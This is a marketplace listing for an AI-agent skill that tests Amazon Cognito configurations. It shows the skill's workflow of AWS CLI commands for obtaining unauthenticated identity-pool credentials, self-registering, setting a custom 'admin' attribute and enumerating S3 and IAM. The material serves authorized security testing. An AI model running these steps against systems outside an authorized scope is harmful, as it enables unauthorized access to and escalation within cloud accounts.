aws-cognito-abuse

aws-cognito-abuse is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 44 tokens per session (1,057 once invoked), scanned A, original, MIT.

A security-testing guide for finding unsafe settings in Amazon Cognito, AWS's service for user sign-in and temporary cloud access.

In plain words
What is it for?
It is for authorized checks of Cognito user pools, identity pools, registration, attribute mapping, temporary credentials, and related AWS permissions.
Why use it?
It helps reveal when unauthenticated users, self-registration, or custom user attributes can grant access beyond what the application intended.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Good fit It is for authorized checks of Cognito user pools, identity pools, registration, attribute mapping, temporary credentials, and related AWS permissions.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge
agentmods
npx agentmods add skills/shulkwisec/bb-huge/aws-cognito-abuse

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for aws-cognito-abuse

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/aws-cognito-abuse/github.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/aws-cognito-abuse)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/aws-cognito-abuse"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/aws-cognito-abuse/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for aws-cognito-abuse

Your own site · 80×15
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/aws-cognito-abuse"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/aws-cognito-abuse.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 44 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,057 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00044 $0.01057
Opus 5 $0.00022 $0.00528
Sonnet 5 $0.00009 $0.00211
Haiku 4.5 $0.00004 $0.00106

Measured 10d ago against content hash 697a1b71303a, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

aws-cognito-abuse scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/curated/aws-cognito-abuse/SKILL.md · 127 lines

How it starts

The opening of the file, as written. The whole thing — 127 lines — stays where its author put it; the contents beside it link to each section on GitHub.

AWS Cognito Abuse

When to Use

  • When testing applications hosted on AWS that utilize Amazon Cognito for user authentication (User Pools) and authorization (Identity Pools).
  • To demonstrate how improper attribute mapping or overly permissive unauthenticated roles in Cognito can lead to full AWS account compromise.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying Cognito Parameters

# grep -r "us-east-1:[0-9a-fA-F-]*" .

Phase 2: Exploiting Identity Pools (Unauthenticated Access)

# aws cognito-identity get-id --identity-pool-id "us-east-1:xxxx-xxxx-xxxx" --region us-east-1

# aws cognito-identity get-credentials-for-identity --identity-id "us-east-1:yyyy-yyyy-yyyy" --region us-east-1

# export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

Phase 3: Exploiting User Pools (Self-Registration & Attributes)

# aws cognito-idp sign-up --client-id xxx --username [email protected] --password "Password123!"

# aws cognito-idp update-user-attributes --access-token yyy --user-attributes Name="custom:role",Value="admin"

Phase 4: Exploiting IAM Privileges

# aws sts get-caller-identity
aws s3 ls
aws iam list-roles
Decision Point 🔀
flowchart TD
    A[Discover Pool IDs ] --> B{Identity Pool Access? ]}
    B -->|Yes| C[Get Temporary AWS Credentials ]
    B -->|No| D[Analyze User Pool ]
    C --> E[Enumerate AWS Environment ]

🔵 Blue Team Detection & Defense

  • Disable Unauthenticated Access: Attribute Write Permissions: Least Privilege IAM: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Aws Cognito Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

Read the full file on GitHub · 127 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 10d ago First seen · 127 lines · 44 tokens per session scan A 697a1b71303a

Subscribe to this mod's changes

aws-cognito-abuse is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 44 tokens to every session and 1,057 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories

aws-cognito-abuse

Exploit misconfigurations in AWS Cognito, specifically focusing on unauthorized identity pool access, user pool self-registration issues, and privilege escalation via custom attributes to access broader AWS infrastructure.

akashrpatil/awesome-offensive-security-skills · 44 tokens

aws-iam-privilege-escalation

Identify and exploit misconfigured Identity and Access Management (IAM) permissions within Amazon Web Services (AWS) to escalate privileges. Use this skill to move from a low-privileged compromised IAM user/role (e.g., via SSRF) to full AdministratorAccess by abusing AssumeRole, PassRole, inline policies, or resource…

akashrpatil/awesome-offensive-security-skills · 80 tokens

performing-aws-privilege-escalation-assessment

Performing authorized privilege escalation assessments in AWS environments to identify IAM misconfigurations that allow users or roles to elevate their permissions using Pacu, CloudFox, Principal Mapper, and manual IAM policy analysis techniques.

xalgorix/xalgorix · 54 tokens

cloud-iam-deep

GCP/AWS/Azure cloud exploitation -- Cloud Functions, Firestore, Cloud Run, S3, MinIO, Blob Storage, SA keys.

uphiago/recon-skills · 35 tokens

aws-metadata-ssrf-exploitation

Exploit Server-Side Request Forgery (SSRF) vulnerabilities on Amazon Web Services (AWS) EC2 instances to access the highly sensitive Instance Metadata Service (IMDS). Circumvent basic protections and extract temporary IAM access keys, escalating privileges comprehensively across the AWS Cloud environment.

akashrpatil/awesome-offensive-security-skills · 68 tokens

aws-cloud-penetration-testing

Penetration test AWS cloud environments for misconfigurations, privilege escalation, data exposure, and lateral movement. Use this skill when assessing AWS accounts for security weaknesses including S3 bucket misconfigurations, IAM policy flaws, EC2 metadata exploitation, Lambda function abuse, and cross-account…

akashrpatil/awesome-offensive-security-skills · 75 tokens